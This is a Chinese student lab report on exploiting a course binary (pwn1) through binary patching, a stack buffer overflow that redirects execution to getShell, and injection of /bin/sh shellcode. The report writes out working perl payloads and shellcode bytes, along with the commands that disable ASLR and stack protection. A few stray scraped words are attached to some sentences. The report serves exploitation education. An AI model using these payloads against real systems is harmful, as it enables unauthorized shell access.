20165230田坤燁《網絡對抗》Exp1 PC平臺逆向破解

實踐目標

  • 本次實踐的對象是一個名爲pwn1的linux可執行文件。
  • 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
  • 該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。

1、基礎知識學習

1.什麼是漏洞?漏洞有什麼危害?

  • 我認爲漏洞是黑客能夠利用來破壞計算機系統的後門。
  • 漏洞的存在,很容易致使黑客的侵入及病毒的駐留,會致使數據丟失和篡改、隱私泄露乃至金錢上的損失,如:網站因漏洞被入侵,網站用戶數據將會泄露、網站功能可能遭到破壞而停止乃至服務器自己被入侵者控制。

2.掌握NOP、JNE、JE、JMP、CMP彙編指令的機器碼

  • NOP:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)
  • JNE:條件轉移指令,若是不相等則跳轉。(機器碼:75)
  • JE:條件轉移指令,若是相等則跳轉。(機器碼:74)
  • JMP:無條件轉移指令。段內直接短轉Jmp
  • short(機器碼:EB) 段內直接近轉移Jmp
  • near(機器碼:E9) 段內間接轉移 Jmp
  • word(機器碼:FF) 段間直接(遠)轉移Jmp
  • far(機器碼:EA)
  • CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。

3.gdb的經常使用命令

4.管道的概念

  • 管道是一種最基本的IPC機制,做用於有血緣關係的進程之間,完成數據傳遞。調用pipe系統函數便可建立一個管道。有以下特質:
  • 其本質是一個僞文件(實爲內核緩衝區)
  • 由兩個文件描述符引用,一個表示讀端,一個表示寫端。
  • 規定數據從管道的寫端流入管道,從讀端流出。
  • 管道的原理: 管道實爲內核使用環形隊列機制,藉助內核緩衝區(4k)實現。
  • 管道的侷限性:
  • ① 數據本身讀不能本身寫。
  • ② 數據一旦被讀走,便不在管道中存在,不可反覆讀取。
  • ③ 因爲管道採用半雙工通訊方式。所以,數據只能在一個方向上流動。
  • ④ 只能在有公共祖先的進程間使用管道。
  • 常見的通訊方式有,單工通訊、半雙工通訊、全雙工通訊。
  • 實驗中用到的cut命令,將一行內的數據進行分解
    cut -d '分隔符' -f fields
    1. -c 字符範圍
    2. -f 取出第幾段的意思 ,從1開始

2、實驗內容

(一)直接修改程序機器指令,改變程序執行流程

思路

  • 找到getShell函數的位置
  • 修改main函數中,call指令的參數,使得程序調用getShell函數

步驟

進入共享文件目錄/mnt/hgfs/share中,下載目標文件pwn1,輸入objdump -d pwn1反彙編獲得下圖代碼html

計算出須要修改的地址。計算方法:e8這條指令會使CPU就會轉而執行 「EIP + d7ffffff」這個位置的指令。80484ba +d7ffffff= 80484ba-0x29正好是8048491。所以想讓它調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。直接 47d-4ba就能獲得補碼,是c3ffffff。linux

編輯pwn1文件,將其中的call指令的目標地址由d7ffffff變爲c3ffffff
shell

如下操做是在vi內
1. 按ESC鍵
2. 輸入以下,將顯示模式切換爲16進制模式
:%!xxd
3. 查找要修改的內容
/e8d7

4. 找到後先後的內容和反彙編的對比下,確認是地方是正確的
5. 修改d7爲c3
6. 轉換16進製爲原格式
:%!xxd -r
7. 存盤退出vi
:wq

./pwn1運行改後的代碼,會獲得shell提示符:
windows

(二)經過構造輸入參數,形成BOF攻擊,改變程序執行流

思路

  1. 反彙編,瞭解漏洞以及程序的基本功能
  2. 確認輸入字符串哪幾個字符會覆蓋到返回地址
  3. 確認用什麼值來覆蓋返回地址
  4. 構造輸入字符串

反彙編,瞭解漏洞以及程序的基本功能

  • 該可執行文件正常運行是調用函數foo,這個函數有Buffer overflow漏洞,即foo函數中的gets函數,因爲該函數不會檢查用戶輸入的長度,經過「棧溢出」覆蓋棧中保存的RET地址,能夠改變程序的執行流。
  • 函數foo中的mov(804849a)讀入字符串,但系統只預留了32字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址
  • 函數main中的call調用函數foo,同時在堆棧上壓上返回地址值:80484ae
確認輸入字符串哪幾個字符會覆蓋到返回地址
  • 若是輸入字符串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲getShell的內存地址,輸入給pwn1,pwn1就會運行getShell

確認用什麼值來覆蓋返回地址

  • getShell的內存地址,經過反彙編時能夠看到,即0804847d
    接下來要確認下字節序,因爲是小端機器,所以應輸入 11111111222222223333333344444444\x7d\x84\x04\x08

構造輸入字符串

  • 因爲無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此須要使用prel方法先生成包括這樣字符串的一個文件,將getshell的內存地址寫入輸入字符串中,\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
  • 可使用16進制查看指令xxd查看input文件的內容是否如預期。
    sass

  • 將input的輸入,經過管道符「|」,做爲pwn1的輸入。服務器

(cat input; cat) | ./pwn1

(三)注入Shellcode並執行

準備一段Shellcode

  • shellcode就是一段機器指令(code)
  • 一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),因此這段機器指令被稱爲shellcode。
  • 在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。
  • 如下實踐即便用該文章中生成的shellcode。以下:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

準備工做

  1. 關閉堆棧保護(gcc -fno-stack-protector)
  2. 關閉堆棧執行保護(execstack -s)
  3. 關閉地址隨機化 (/proc/sys/kernel/randomize_va_space=0)
  4. 在x32環境下
  5. 在Linux實踐環境
apt-get install execstack //安裝execstack命令
execstack -s pwn1 //設置堆棧可執行
execstack -q pwn1 //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化 
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化

構造要注入的payload

Linux下有兩種基本構造攻擊buf的方法: 1.retaddr+nop+shellcode 2.
nop+shellcode+retaddr
由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。
簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊
咱們這個buf夠放這個shellcode了
結構爲:nops+shellcode+retaddr。
nop一爲是了填充,二是做爲「着陸區/滑行區」。
咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。網絡

  • 使用命令注入,其中前面32個A用來填滿緩衝區buf,\x04\x03\x02\x01爲預留的返回地址retaddr:
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面最後的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。咱們得把它改成這段shellcode的地址。
特別提醒:最後一個字符千萬不能是\x0a。否則下面的操做就作不了了。

肯定\x4\x3\x2\x1到底該填什麼。dom

  • 打開一個終端注入這段攻擊buf:
(cat input_shellcode;cat) | ./pwn20165230
  • 再開另一個終端,用gdb來調試pwn20165230這個進程。
    • ps -ef | grep pwn20165230命令找到pwn20165230的進程號是:34424:

  • gdb pwn20165230attach命令啓動gdb調試這個進程:

  • disassemble foo命令反彙編,經過設置斷點,來查看注入buf的內存地址:

  • 經過break *0x080484ae命令設置斷點,輸入c命令(continue)繼續運行
  • 在另一個終端中按下回車使上一調試過程繼續執行。再返回調試終端,使用info r esp命令查找地址:

  • x/16x 0xffffd28c命令查看其存放內容,看到了0x01020304,就是返回地址的位置。根據咱們構造的input_shellcode可知,shellcode就在其後,因此地址應爲0xffffd290

接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可,用命令函數

perl -e 'print "A" x 32;print "\x90\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

3、實驗中遇到的問題及解決過程

不能獲得正確結果

  • 解決:第二個實踐中按照步驟運行下來不能得看到0x01020304正確的結果,因而從新copy了pwn文件到共享文件夾中,並重命名爲pwn20165230,便可獲得正確結果,應養成備份的好習慣

提示不能啓動虛擬機

  1. 打開你存放虛擬機系統文件的文件夾,注意,是系統文件,不是虛擬機的安裝目錄,也就是你創建虛擬機的時候下圖設置的位置
  2. 而後搜索以*.lck爲關鍵字這個文件夾
  3. 刪除找到的全部*.lck臨時文件,再次啓用就ok了學習

    4、實驗收穫與感想

  • 此次實驗總的來講比較順利,複習了Linux的部分指令、彙編的部分知識、gdb調試、vi的使用、反彙編與十六進制編輯,學習了BOF的原理和防護等知識。 此次實踐雖然是個簡單的訓練,可是卻讓我深入感覺到BOF漏洞帶來的危害,更重要的是,讓我意識到漏洞每每是在不經意間產生,而又很容易被有心之人利用。但願將來在網絡攻防技術這門課中學到更多的攻擊技術,在攻擊中讓咱們學會更好地防護漏洞。
相關文章
相關標籤/搜索